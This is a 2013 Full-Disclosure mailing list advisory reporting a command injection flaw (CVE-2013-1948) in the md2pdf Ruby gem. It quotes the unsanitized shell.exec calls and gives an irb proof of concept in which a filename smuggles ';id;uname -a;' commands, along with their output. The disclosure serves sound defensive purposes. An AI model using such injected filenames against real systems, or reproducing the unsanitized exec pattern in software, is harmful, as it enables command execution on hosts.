[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[Full-disclosure] Remote command injection md2pdf ruby gem

<html><body><div><br><h2>Remote command injection md2pdf ruby gem
</h2>
<i>4/10/2013</i>
<hr>
<p>Description: "creates pdf documents from markdown documents"
</p>
<p><a 
href="https://rubygems.org/gems/md2pdf";>https://rubygems.org/gems/md2pdf</a>
</p>
<p>In md2pdf/converter.rb  we see user supplied input being passed to the 
command line with out proper sanitization.
</p>
<pre> 12       shell.exec("pandoc#{options} #{input_filename} -o 
#{output_filename}")
<p>
 23       shell.exec("pdftk #{temp_filename} multibackground #{background_path} 
output #{output_filename}")
</p><p>
</p></pre>
Where exec is defined as the following:
<pre> 37     def exec(command_line)
 38       require 'open3'
 39       stdin, stdout, stderr = Open3.popen3(command_line)
 40       return stdout.read
 41     end
</pre>
<h3>PoC Notes:</h3>
<pre>irb(main):001:0&gt; require 'open3'
=&gt; true
irb(main):002:0&gt; stdin, stdout, stderr = Open3.popen3('pdfcnv 
filename;id;uname -a;.pdft')
=&gt; [#, #, #]
irb(main):003:0&gt; puts stdout.read
uid=1000(larry) gid=1000(larry) 
groups=1000(larry),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),117(sambashare)
Linux underfl0w 3.2.0-39-virtual #62-Ubuntu SMP Wed Feb 27 22:45:45 UTC 2013 
i686 athlon i386 GNU/Linux
=&gt; nil
</pre>

http://vapid.dhs.org/advisories/md2pdf-remote-exec.html<br><br><br>This 
vulnerability has been assigned: CVE-2013-1948<br>
<p>Larry W. Cashdollar<br>
@_larry0</p><br><br><br>CVE-2013-1948<br data-mce-bogus="1"></div></body></html>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/